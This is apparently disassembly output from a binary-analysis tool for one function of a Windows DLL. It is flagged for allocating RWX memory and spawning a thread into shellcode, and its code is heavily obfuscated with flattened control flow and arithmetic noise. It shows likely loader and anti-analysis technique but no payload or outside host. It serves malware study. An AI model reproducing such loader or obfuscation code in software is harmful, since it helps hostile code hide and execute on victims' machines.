Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x4b0b8
call fcn.180026f20
sub rsp, rax
mov rax, qword [0x180086008]
xor rax, rsp
mov qword [rsp + 0x4b0b0], rax
cmp edx, 1
mov eax, 0xe3f886b3
mov ecx, 0xbf323588
cmove ecx, eax
mov dword [rsp + 0x6c], ecx
mov eax, 0xcf49fb5f
jmp 0x180001050
mov eax, 0x90f2b0ab
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0xec7220f8
jg 0x180001090
cmp ecx, 0xcf49fb5e
jg 0x1800010c0
cmp ecx, 0x90f2b0ab
je 0x18000891f
cmp ecx, 0xbf323588
je 0x180012885
mov eax, ecx
cmp ecx, 0xa42bca53
jne 0x180001050
jmp 0x180026ecf
cmp ecx, 0xf625e8ff
jg 0x180008900
cmp ecx, 0xec7220f9
je 0x18001a6f0
mov eax, ecx
cmp ecx, 0xf468c11b
jne 0x180001050
mov eax, 0xbf323588
jmp 0x180001050
mov eax, dword [rsp + 0x6c]
cmp ecx, 0xcf49fb5f
je 0x180001050
mov eax, ecx
cmp ecx, 0xe3f886b3
jne 0x180001050
mov eax, dword [0x180087b94]
mov ecx, dword [0x180087b90]
mov dword [rsp + 0x34], ecx
mov r10d, eax
neg r10d
not r10d
imul r10d, eax
mov r9d, r10d
not r9d
mov ecx, r9d
and ecx, 0x8e3e4eb0
mov esi, r10d
and esi, 0x71c1b14f
or esi, ecx
mov ecx, esi
xor ecx, 0x11013149
xor esi, 0x8e3e4eb0
mov edx, r9d
and edx, r10d
mov ebp, edx
not ebp
mov ebx, esi
and ebx, 0x68ee8806
and ecx, 0x971177f9
or ecx, ebx
or esi, ebp
and ebp, 0x68ee8806
and edx, 0x971177f9
or edx, ebp
xor edx, ecx
not esi
or esi, edx
mov ecx, esi
not ecx
and ecx, 0xfcde0262
and esi, 0x321fd9d
or esi, ecx
mov ecx, esi
xor ecx, 0x2012089
and ecx, 0xa6c32289
xor esi, 0x581c0062
and esi, 0x593cdd76
or esi, ecx
not esi
mov edi, esi
or edi, 0xa6c32289
mov ecx, r10d
and ecx, 0xc9556fb
mov edx, r9d
and edx, 0xf36aa904
or edx, ecx
xor edx, 0x55a98b8d
mov ecx, r9d
and ecx, 0x593cdd76
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb8ea32b9
and ecx, 0x4715cd46
or ecx, edx
mov r14d, ecx
xor r14d, 0xb8ea32b9
mov r8d, r14d
mov r11d, edi
and r11d, r14d
xor r14d, edi
not edi
mov ebp, ecx
xor ebp, 0x4715cd46
or edi, 0xdb3bd805
mov ebx, edi
not ebx
or esi, 0xa6c727fb
mov eax, esi
not eax
and r8d, 0x24c427fa
xor ecx, 0x63d1eabc
and ecx, ebp
and edi, 0x8026d961
and ebx, 0x269a
or ebx, edi
and esi, 0xa4e6d961
and eax, 0x59180004
or eax, esi
xor eax, ebx
mov esi, r8d
and esi, ecx
xor ecx, r8d
or ecx, esi
mov ebp, eax
not ebp
and ebp, ecx
not ecx
and ecx, eax
or ecx, ebp
or r14d, r11d
mov eax, r14d
not eax
and eax, 0xea7749f8
and r14d, 0x1588b607
or r14d, eax
mov edx, r14d
xor edx, 0x9003
mov eax, ecx
not eax
xor r14d, 0xea7749f8
mov ebp, eax
and ebp, 0x1fc92e9c
and ecx, 0xe036d163
or ecx, ebp
or eax, r14d
and r14d, 0x1fc92e9c
and edx, 0xe036d163
or edx, r14d
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x4af97b78
and eax, 0xb5068487
or eax, ecx
mov ebp, eax
xor ebp, 0x80020081
xor eax, 0xc10208
or edx, 0xa6c32289
mov ecx, edx
not ecx
or eax, 0x41040114
and eax, 0x65c5031c
and ebp, 0x82022081
or ebp, eax
and edx, 0x65c5031c
and ecx, 0x1838dc62
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0xdc5973e5
and ecx, 0x23a68c1a
or ecx, eax
mov eax, ecx
xor eax, 0x282081a
xor ecx, 0xd0083125
and ecx, 0xf12cb525
and eax, 0xed34ada
or eax, ecx
mov edx, eax
xor edx, 0x2000
xor eax, 0xed34ada
mov ebx, eax
or ebx, 0x84f0e292
mov ebp, ebx
not ebp
and eax, 0x84e08000
and edx, 0x106292
or edx, eax
mov ecx, edx
xor ecx, 0x106090
xor edx, 0x9c628d41
and ebx, 0x9c628f43
and ebp, 0x630d102c
or ebp, ebx
and edx, 0x9c628f43
and ecx, 0x906090
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x58c40e8b
and ecx, 0xa73bf174
or ecx, eax
mov eax, ecx
xor eax, 0xa73bf174
xor ecx, 0x40c0060a
and ecx, 0xc5c8763e
mov edx, eax
and edx, 0x3a3789c1
or edx, ecx
xor edx, 0xbec76b53
and eax, 0x7b0f1d6d
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xf7e57e2c
and eax, 0x81a81d3
or eax, ecx
mov ecx, eax
xor ecx, 0x8108191
mov edx, r9d
and edx, 0x5022dc63
mov ebp, r10d
and ebp, 0xa6000000
or ebp, edx
xor ebp, 0xa6000000
mov edx, r10d
and edx, 0x9dd239c
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x9dd239c
and edx, 0xf622dc63
or edx, ebp
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x7b0f1d6d
mov edi, ebx
not edi
and ebp, 0x84f0e292
and edx, 0x7b0f1d6d
or edx, ebp
mov ebp, edx
not ebp
mov esi, ebx
and esi, 0x8286efcf
and edi, 0x4700010
or edi, esi
or ebx, ebp
and ebp, 0x8286efcf
and edx, 0x7d791030
or edx, ebp
xor edx, edi
not ebx
or ebx, edx
mov ebp, ebx
xor ebp, 0x5f01bbc6
and ebp, ebx
not ebx
and ebx, 0x5f01bbc6
mov edx, ebx
and edx, ebp
xor ebp, ebx
or ebp, edx
mov edx, ebp
not edx
and edx, 0xda628522
and ebp, 0x259d7add
or ebp, edx
mov ebx, ebp
xor ebx, 0x18084113
xor ebp, 0x1621a80
and ebp, 0x63f69a88
and ebx, 0x9c096577
or ebx, ebp
mov edx, ebx
xor edx, 0x8c004111
xor ebx, 0x63f69a88
xor eax, 0xf7e57e2c
mov esi, ebx
xor esi, eax
mov edi, eax
and edi, 0x120f266e
and ecx, 0xedf0d991
or ecx, edi
mov edi, ebx
and edi, 0x120f266e
and edx, 0xedf0d991
or edx, edi
xor edx, ecx
mov ecx, edx
xor ecx, eax
and ecx, edx
not esi
and esi, ebx
or eax, ebx
mov edx, eax
not edx
mov ebp, esi
not ebp
mov ebx, ebp
and ebx, 0x4269c4a7
and esi, 0xbd963b58
or esi, ebx
or ebp, eax
and eax, 0x4269c4a7
and edx, 0xbd963b58
or edx, eax
xor edx, esi
not ebp
or ebp, edx
mov eax, ecx
not eax
and eax, ebp
not ebp
mov edx, ecx
xor edx, ebp
and edx, ecx
and ebp, ecx
or ebp, eax
mov ebx, edx
not ebx
mov eax, ebp
not eax
mov ecx, ebx
and ecx, 0x7e40eb67
and edx, 0x81bf1498
or edx, ecx
or ebx, eax
and eax, 0x7e40eb67
and ebp, 0x81bf1498
or ebp, eax
xor ebp, edx
not ebx
or ebx, ebp
mov edx, ebx
not edx
mov eax, edx
and eax, 0xb7b99e86
mov ecx, ebx
and ecx, 0x48466179
or ecx, eax
mov ebp, ecx
xor ebp, 0x8060140
xor ecx, 0x30001404
and ecx, 0x7000142d
and ebp, 0xb0f0940
or ebp, ecx
xor ebp, 0xb0f0940
or ebp, 0x84f0e292
mov eax, ebp
not eax
mov ecx, edx
and ecx, 0x7b0f1d6d
and ebx, 0x84f0e292
or ebx, ecx
xor edx, ebx
and edx, ebx
mov ecx, edx
not ecx
and edx, ebp
or ebp, ecx
mov ebx, ebp
not ebx
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, ebp
and eax, 0xc0bac095
and ebx, 0x3b051d68
or ebx, eax
or ebp, edx
and edx, 0xc0bac095
and ecx, 0x3f453f6a
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0x3dd01e9b
mov eax, ebp
and eax, 0xc22fe164
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe5918281
and eax, 0x1a6e7d7e
or eax, ecx
mov ecx, eax
xor ecx, 0x25a40101
xor eax, 0x48008812
and eax, 0x4a1aeaf6
and ecx, 0xb5e51509
or ecx, eax
mov eax, ecx
xor eax, 0x40509
xor ecx, 0x401888d2
and ecx, 0xf5f998d2
and eax, 0xa06672d
or eax, ecx
mov ecx, eax
xor ecx, 0x7fe4f548
xor eax, 0xa06672d
and eax, ecx
and edx, 0xc8043f9b
and ebp, 0x37fbc064
or ebp, edx
mov ecx, ebp
xor ecx, 0x2194000
and ecx, 0x8a1d6d9a
xor ebp, 0xbde6adfe
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x8d28eef9
and ebp, 0x72d71106
or ebp, ecx
mov ecx, ebp
xor ecx, 0x72d71106
xor ebp, 0x8d28eef9
mov edx, eax
xor edx, ebp
and edx, eax
and ebp, eax
not eax
and eax, ecx
or ebp, eax
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x15629261
and ebp, 0x60800004
or ebp, ecx
mov edx, ebp
xor edx, 0x40800004
xor ebp, 0xe4fca02
or eax, 0x75e29265
mov ecx, eax
not ecx
and ebp, 0x2e4fca02
and edx, 0x51a01065
or edx, ebp
and eax, 0x2e4fca02
and ecx, 0x80102598
or ecx, eax
xor ecx, edx
mov esi, ecx
not esi
mov eax, esi
and eax, 0x1acbceb2
and ecx, 0xe534314d
or ecx, eax
mov eax, ecx
xor eax, 0xe534314d
xor ecx, 0x1a028820
and ecx, 0xdf22a92d
mov edx, eax
and edx, 0x20dd56d2
or edx, ecx
xor edx, 0x20dd56d3
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
mov ebp, esi
or ebp, 1
mov edx, ebp
not edx
and esi, 1
and ebp, 0x5d7db4c0
and edx, 0xa2824b3e
or edx, ebp
or esi, 0x5d7db4c0
xor esi, edx
mov edx, eax
and edx, 0x50f1d3ca
xor eax, 0x765bf7b7
and eax, ecx
and ecx, 0xaf0e2c35
or ecx, edx
mov ebx, ecx
xor ebx, 0xaf0e2c35
mov edi, esi
mov edx, esi
xor edx, 0x89a40848
and edx, esi
not esi
and esi, 0x1e299884
and edi, 0xe1d6677b
or edi, esi
xor edi, 0xe1d6677b
xor ecx, 0xd955db82
and ecx, ebx
mov ebp, edi
and ebp, 0x89a40848
mov esi, ecx
and esi, eax
xor eax, ecx
or eax, esi
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0xd48f10a
and eax, 0xf2b70ef5
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0xd48f10a
and edx, 0xf2b70ef5
or edx, ecx
xor edx, eax
mov eax, ebx
and eax, edi
xor edi, ebx
or edi, eax
mov ecx, edi
not ecx
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0xad428011
and edx, 0x52bd7fee
or edx, eax
or ebp, edi
and edi, 0xad428011
and ecx, 0x52bd7fee
or ecx, edi
xor ecx, edx
not ebp
or ebp, ecx
mov edi, ebp
not edi
mov edx, edi
and edx, 0x15877b3e
mov eax, ebp
and eax, 0xea7884c1
or eax, edx
mov ebx, eax
xor ebx, 0x88041
xor eax, 0x5000100
mov ecx, edi
or ecx, 0xd3aadc1
mov edx, ecx
not edx
or eax, 0x5045120c
and eax, 0x5d75178c
and ebx, 0xaa841
or ebx, eax
and ecx, 0x5d75178c
and edx, 0xa2804032
or edx, ecx
xor edx, ebx
mov eax, edx
not eax
and eax, 0xf2c5523e
and edx, 0xd3aadc1
or edx, eax
mov ecx, edx
not ecx
mov eax, edi
and eax, 0x3a9dc774
and ebp, 0xc562388b
or ebp, eax
xor ebp, 0xc562388b
xor edi, ebp
and edi, ebp
mov eax, edi
not eax
and edi, ecx
or ecx, eax
not ecx
and eax, edx
or eax, edi
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xd191b3fd
and eax, 0x2e6e4c02
or eax, ecx
mov ecx, eax
xor ecx, 0x24020002
xor eax, 0x5181326d
and eax, 0x5bed7e6d
and ecx, 0xa4128192
or ecx, eax
mov edx, ecx
xor edx, 0x490c300c
xor ecx, 0x4108180
and ecx, 0x16f1cfe1
and edx, 0xe90e301e
or edx, ecx
mov eax, edx
xor eax, 0x16f1cfe1
xor edx, 0x80020004
and edx, 0x84420524
mov ecx, eax
and ecx, 0xb0c4050
or ecx, edx
xor ecx, 0xb0c4050
and eax, 0x70b1ba8b
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9827f9f4
and eax, 0x67d8060b
or eax, ecx
mov r8d, eax
xor r8d, 0x60144243
xor eax, 0x1769bc80
mov ecx, eax
and ecx, 0x89ea81bc
and r8d, 0x76157e43
or r8d, ecx
xor r8d, 0x76157e43
or r8d, eax
mov r11d, r8d
not r11d
mov eax, r9d
and eax, 0xa3403900
mov ecx, r10d
and ecx, 0x18300410
or ecx, eax
xor ecx, 0x18300410
mov eax, r10d
and eax, 0x448fc2ef
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x674c9631
and eax, 0x98b369ce
or eax, ecx
mov ecx, eax
xor ecx, 0x23c15008
xor eax, 0x4c308100
and eax, 0x4c3285d6
and ecx, 0xb3cd7a29
or ecx, eax
mov edx, ecx
xor edx, 0x4c3285d6
and edx, ecx
mov eax, r9d
and eax, 0xb3cd7a29
mov ecx, r10d
and ecx, 0x4c3285d6
or ecx, eax
not ecx
or ecx, r9d
mov ebp, ecx
not ebp
mov eax, edx
not eax
and ebp, eax
or eax, ecx
mov edi, eax
not edi
and ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, eax
and ebp, 0xe51994a0
and edi, 0x1ae66b5f
or edi, ebp
or eax, edx
and edx, 0xe51994a0
and ecx, 0x1ae66b5f
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x1a839ff1
and edx, eax
not eax
and eax, 0x10810af1
and ecx, 0xa029500
or ecx, eax
xor ecx, 0xa029500
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x91af570c
and edx, 0x6e50a8f3
or edx, eax
mov eax, edx
xor eax, 0xc71e4d2b
xor edx, 0x38e1b2d4
mov ebp, eax
mov edi, edx
and edi, eax
mov ecx, edx
and ecx, 0xc8a8f182
and eax, 0x37570e7d
or eax, ecx
not eax
or eax, edx
and edx, 0xe8295bb2
and ebp, 0x17d6a44d
or ebp, edx
xor ebp, 0x17d6a44d
mov edx, ebp
and edx, edi
xor edi, ebp
or edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x37570e7d
mov ecx, edi
and ecx, 0xc8a8f182
or ecx, edx
mov esi, ecx
xor esi, ebx
and esi, ecx
mov ecx, eax
not ecx
mov edx, esi
not edx
and ecx, edx
or edx, eax
mov ebp, edx
not ebp
and eax, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, edx
and esi, 0x3caf37ba
and ebp, 0xc350c845
or ebp, esi
or edx, ecx
and ecx, 0x3caf37ba
and eax, 0xc350c845
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x280400a6
and edx, 0x10480818
or edx, eax
mov esi, edx
xor esi, 0x10080810
xor edx, 0x8180e443
or ecx, 0x384c08be
mov eax, ecx
not eax
and edx, 0x81c0e44b
and esi, 0x380c08b4
or esi, edx
and ecx, 0x81c0e44b
and eax, 0x46331300
or eax, ecx
xor eax, esi
mov ecx, eax
not ecx
and ecx, 0x1603a387
and eax, 0xe9fc5c78
or eax, ecx
mov r14d, eax
xor r14d, 0x1918a545
mov ecx, ebx
and ecx, 0x5cc34101
and edi, 0xa33cbefe
or edi, ecx
mov ebp, edi
xor ebp, 0xa33cbefe
mov ecx, edi
xor ecx, 0x50834001
or ecx, 0xad78275a
mov edx, ecx
not edx
or ebx, 0x5287d8a5
mov esi, ebx
not esi
and ecx, 0x1d179818
and edx, 0x428040a5
or edx, ecx
and ebx, 0x1d179818
and esi, 0xa0682742
or esi, ebx
xor esi, edx
mov ecx, esi
not ecx
and ecx, 0x5287d8a4
and esi, 0xad78275b
or esi, ecx
and ebp, 0xfffffffe
xor edi, 0x5cc34100
or edi, ebp
not edi
mov ecx, esi
and ecx, edi
xor edi, esi
or edi, ecx
mov esi, edi
xor esi, 0x5f60b339
and esi, edi
not edi
and edi, 0x5f60b339
mov ecx, edi
and ecx, esi
xor esi, edi
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x8d83d86a
and esi, 0x727c2795
or esi, ecx
mov edi, eax
xor edi, 0xe6e75aba
mov ecx, esi
xor ecx, 0xd2e36b53
xor esi, 0xc1886b3c
and esi, ecx
mov ebp, ecx
mov r15d, edi
and r15d, ecx
xor ecx, edi
and edi, 0xec94ff90
xor eax, 0xf58c5ad5
and eax, r14d
or ebp, 0xec94ff90
mov ebx, ebp
not ebx
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0x5a7fe0eb
and esi, 0xa5801f14
or esi, edi
or edx, ebp
and ebp, 0x5a7fe0eb
and ebx, 0x1000004
or ebx, ebp
xor ebx, esi
not edx
or edx, ebx
mov esi, eax
not esi
and esi, edx
not edx
and edx, eax
or edx, esi
or ecx, r15d
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x7a61c1de
mov esi, edx
not esi
mov edi, ecx
xor edi, 0x859e3e21
and edi, ecx
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0xba0fdf42
and esi, 0x5902021
or esi, ebp
or edx, ebx
and ebx, 0xba0fdf42
and edi, 0x45f020bd
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
and esi, 0x8762bf3a
and edx, 0x789d40c5
or edx, esi
mov esi, edx
xor esi, 0xdd031280
xor edx, 0xb00011
and edx, 0x20b06c75
and esi, 0xdf4f938a
or esi, edx
mov edx, esi
xor edx, 0xdf4f938a
xor esi, 0x20300424
and esi, 0x687b05ae
mov edi, edx
and edi, 0x9784fa51
or edi, esi
xor edi, 0xaf43f15c
and edx, 0xc738f4f2
or edx, edi
mov esi, edx
not esi
mov edi, eax
and edi, 0x38c70b0d
and ecx, 0xc738f4f2
or ecx, edi
xor eax, ecx
and eax, ecx
mov edi, eax
not edi
mov ecx, edx
or ecx, edi
mov ebp, ecx
not ebp
and edx, 0xcb64e9b5
and esi, 0x349b164a
or esi, edx
and edi, 0xcb64e9b5
and eax, 0x349b164a
or eax, edi
xor eax, esi
mov edx, eax
not edx
mov esi, ecx
and esi, 0x6abe7e1
and ebp, 0xf954181e
or ebp, esi
or ecx, edx
and edx, 0x6abe7e1
and eax, 0xf954181e
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x711334ca
and edx, ecx
not ecx
and ecx, 0x30100040
and eax, 0x4103348a
or eax, ecx
xor eax, 0x4103348a
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xf6ce484a
and edx, 0x931b7b5
or edx, eax
mov eax, edx
xor eax, 0x40e40040
xor edx, 0x38102300
and edx, 0x3811ab32
and eax, 0xc7ee54cd
or eax, edx
mov esi, eax
xor esi, 0xc7681044
xor eax, 0x1800aa30
and eax, 0x1886eeb9
and esi, 0xe7791146
or esi, eax
mov edx, esi
xor edx, 0x1886eeb9
mov ebp, esi
xor ebp, 0xe7791146
mov eax, edx
or eax, 0x71469f07
mov ecx, eax
not ecx
xor esi, 0x963f8e41
and esi, edx
mov edi, esi
not edi
mov ebx, eax
and ebx, 0x18bce876
and ecx, 0x86010088
or ecx, ebx
or eax, edi
and edi, 0x18bce876
and esi, 0xe7431789
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0x8eb960f8
and eax, 0x71469f07
or eax, ecx
and edx, 0xd0a5a774
mov ecx, ebp
and ecx, 0x2f5a588b
or ecx, edx
xor ecx, 0x2f5a588b
or ecx, ebp
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x430cc021
and ecx, 0x1c020d1a
or ecx, edx
mov edx, ecx
xor edx, 0x1c000418
xor ecx, 0x23f81205
or eax, 0x5f0ecd3b
mov ebp, eax
not ebp
and ecx, 0x23fa1b07
and edx, 0x5c04c438
or edx, ecx
and eax, 0x23fa1b07
and ebp, 0x800120c0
or ebp, eax
xor ebp, edx
mov eax, ebp
not eax
and eax, 0xa0f132c4
and ebp, 0x5f0ecd3b
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x12d0d852
and ebp, 0xed2f27ad
or ebp, ecx
xor ebp, 0xed2f27ad
or ebp, eax
mov r15d, ebp
not r15d
mov ecx, r8d
or ecx, 0x7e384541
mov eax, ecx
not eax
mov edx, r11d
or edx, 0x104a298
and edx, 0x730ce298
mov esi, r8d
and esi, 0xc300541
or esi, edx
and ecx, 0x730ce298
and eax, 0x80c31826
or eax, ecx
xor eax, esi
mov ecx, eax
not ecx
and ecx, 0x81c7babe
and eax, 0x7e384541
or eax, ecx
mov ecx, ebp
and ecx, 0x1a0a8880
mov edx, r15d
and edx, 0x4491102a
lea esi, [rcx + rdx]
xor esi, 0x40811020
lea ecx, [rcx + rdx]
add ecx, 0x1202011
mov edi, ebp
or edi, 0x5e9b98aa
mov edx, edi
not edx
and ecx, 0x530201b
and esi, 0x5a8b98a0
or esi, ecx
and edi, 0x530201b
and edx, 0xa0444744
or edx, edi
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0xc1f74eab
and edx, 0x3e08b154
or edx, ecx
mov ecx, edx
xor ecx, 0x609329fe
mov edi, eax
not edi
xor edx, 0x9f6cd601
and ecx, edi
or edi, edx
mov esi, edi
not esi
and edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, edi
and ecx, 0x168062f2
and esi, 0xe97f9d0d
or esi, ecx
or edi, eax
and eax, 0x168062f2
and edx, 0xe97f9d0d
or edx, eax
xor edx, esi
not edi
or edi, edx
mov eax, edi
not eax
and eax, 0x5a4fb85a
and edi, 0xa5b047a5
or edi, eax
mov r13d, edi
xor r13d, 0xa19042a5
mov r14d, edi
xor r14d, 0x5a4fb85a
mov ecx, r8d
and ecx, 0x3402448
mov eax, r11d
and eax, 0x14311023
or eax, ecx
xor eax, 0x3402448
or eax, 0xe88ecb94
mov r12d, eax
not r12d
and r8d, 0xe3034f91
and r11d, 0x1cfcb06e
or r11d, r8d
mov ebx, r11d
xor ebx, 0x1cfcb06e
xor r11d, 0x22000090
and r11d, 0x26c4b0be
mov ecx, ebx
and ecx, 0xd93b4f41
or ecx, r11d
xor ecx, 0x31b584d5
and ebx, 0x1771346b
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x6d3979e2
and ebx, 0x92c6861d
or ebx, ecx
mov r11d, ebx
xor r11d, 0x92c6861d
xor ebx, 0x6d3979e2
mov ecx, ebp
and ecx, 0x7fdfab14
mov esi, r15d
and esi, 0x802054eb
or esi, ecx
xor esi, 0x802054eb
mov edx, ebp
and edx, r15d
mov ecx, esi
and ecx, edx
xor edx, esi
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe7c52c91
and edx, 0x183ad36e
or edx, ecx
mov ecx, edx
xor ecx, 0x80ac304
and ecx, 0xe88ecb94
xor edx, 0xf0b418fa
or edx, ecx
and ebp, 0x90656dd5
and r15d, 0x6f9a922a
or r15d, ebp
mov ebp, r15d
xor ebp, 0x6f9a922a
xor r15d, 0x904120d0
and r15d, 0xd1dba0f8
mov ecx, ebp
and ecx, 0x2e245f07
or ecx, r15d
xor ecx, 0xc6aa9493
and ebp, 0x1771346b
or ebp, ecx
and eax, 0x4e5661da
mov esi, r12d
and esi, 0x11211421
or esi, eax
mov r8d, esi
xor r8d, 0xb1a99e25
mov eax, r8d
and eax, 0xdbd8d7ab
and r12d, 0x4212040
or r12d, eax
mov ecx, ebx
and ecx, 0xdbd8d7ab
mov eax, r11d
and eax, 0x24272854
or eax, ecx
mov ecx, r12d
not ecx
and ecx, eax
not eax
and eax, r12d
mov r15d, edx
not r15d
xor esi, 0x4e5661da
or eax, ecx
mov ecx, esi
and ecx, 0x17512461
and r8d, 0x28a2910e
or r8d, ecx
mov ecx, ebp
not ecx
or esi, r11d
and r11d, 0xd75d6ef1
and ebx, 0x28a2910e
or ebx, r11d
xor ebx, r8d
not esi
or esi, ebx
mov ebx, esi
not ebx
mov r8d, eax
not r8d
mov r11d, r8d
and r11d, 0x96c3dcb3
and eax, 0x693c234c
or eax, r11d
or r8d, esi
and esi, 0x96c3dcb3
and ebx, 0x693c234c
or ebx, esi
xor ebx, eax
not r8d
or r8d, ebx
mov eax, r15d
xor eax, ebp
and eax, r15d
and edx, 0x71f4b674
and r15d, 0x8e0b498b
or r15d, edx
and ebp, 0x71f4b674
and ecx, 0x8e0b498b
or ecx, ebp
xor ecx, r15d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
or edx, r8d
not r8d
not edx
and eax, 0x842c5205
and ecx, 0x7bd3adfa
or ecx, eax
xor ecx, 0x842c5205
or ecx, r8d
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, r14d
and eax, 0x4e6fb518
and r13d, 0xb1904ae7
or r13d, eax
mov edx, r13d
xor edx, 0x30804080
mov ebp, ecx
not ebp
xor r13d, 0x4e6fb518
mov eax, r13d
and eax, 0xc9512e67
and edx, 0x36aed198
or edx, eax
mov eax, ebp
or r13d, ecx
mov esi, ecx
xor esi, 0x5c813e85
and ebp, esi
and esi, ecx
and ecx, 0xc9512e67
and eax, 0x36aed198
or eax, ecx
xor eax, edx
not r13d
or r13d, eax
mov eax, r13d
not eax
and eax, 0x4e04e846
and r13d, 0xb1fb17b9
or r13d, eax
mov ecx, r13d
xor ecx, 0xb1fb17b9
xor r13d, 0x46040806
xor edi, 0x401
mov eax, r14d
or eax, 0x5c813e85
mov edx, eax
not edx
or edi, 0x22768160
and edi, 0x32778561
and r14d, 0x4c803a84
or r14d, edi
and eax, 0x32778561
and edx, 0x8108401a
or edx, eax
xor edx, r14d
mov r11d, ebp
not r11d
mov eax, esi
not eax
mov ebx, r11d
and ebx, 0xa433008f
and ebp, 0x5bccff70
or ebp, ebx
or r11d, eax
and eax, 0xa433008f
and esi, 0x5bccff70
or esi, eax
xor esi, ebp
not r11d
or r11d, esi
mov eax, edx
not eax
and eax, 0xdf542ad2
and edx, 0x20abd52d
or edx, eax
mov eax, r11d
not eax
and eax, 0xdf542ad2
and r11d, 0x20abd52d
or r11d, eax
xor r11d, edx
mov eax, r11d
not eax
mov edx, ecx
xor edx, eax
and edx, ecx
and r13d, 0xe7f41b17
and ecx, 0x180be4e8
or ecx, r13d
and eax, 0xe7f41b17
and r11d, 0x180be4e8
or r11d, eax
xor r11d, ecx
mov eax, edx
and eax, r11d
xor r11d, edx
or r11d, eax
mov eax, r9d
and eax, 0xff334d85
mov ecx, r10d
and ecx, 0xccb27a
or ecx, eax
mov eax, ecx
xor eax, 0x848062
xor ecx, 0xe8230484
and ecx, 0xe86b369c
and eax, 0x1794c963
or eax, ecx
mov ecx, eax
xor ecx, 0x11044021
xor eax, 0x6b220c
and eax, 0x6fbab4e
and ecx, 0xf90454b1
or ecx, eax
mov eax, ecx
xor eax, 0x43a0b48
xor ecx, 0x70044021
and ecx, 0x72c5e027
and eax, 0x8d3a1fd8
or eax, ecx
mov edx, eax
xor edx, 0x8d3a1fd8
mov ecx, r9d
or ecx, r10d
mov ebp, ecx
not ebp
xor eax, 0x72c5e027
and ebp, eax
or eax, ecx
not eax
and ecx, edx
or ecx, ebp
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x328ba4bd
and eax, ecx
and ecx, 0xcd745b42
or ecx, edx
mov edx, ecx
xor edx, 0x81001840
xor ecx, 0x328ba4bd
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x7e74430f
and edx, 0x818bbcf0
or edx, ebx
or ecx, ebp
and ebp, 0x7e74430f
and eax, 0x818bbcf0
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x7fb78f83
and ecx, 0x8048707c
and esi, 0x7fb78f83
or esi, ecx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x603998cb
and eax, esi
and esi, 0x9fc66734
or esi, ecx
mov ecx, esi
xor ecx, 0x1c60204
xor esi, 0x603998cb
mov edx, eax
not edx
mov ebp, esi
and ebp, 0x9e38edfa
and ecx, 0x61c71205
or ecx, ebp
or esi, edx
and edx, 0x9e38edfa
and eax, 0x61c71205
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, r9d
and eax, 0xbca028a3
mov ecx, r10d
xor ecx, 0xbca028a3
and ecx, r10d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x807816b5
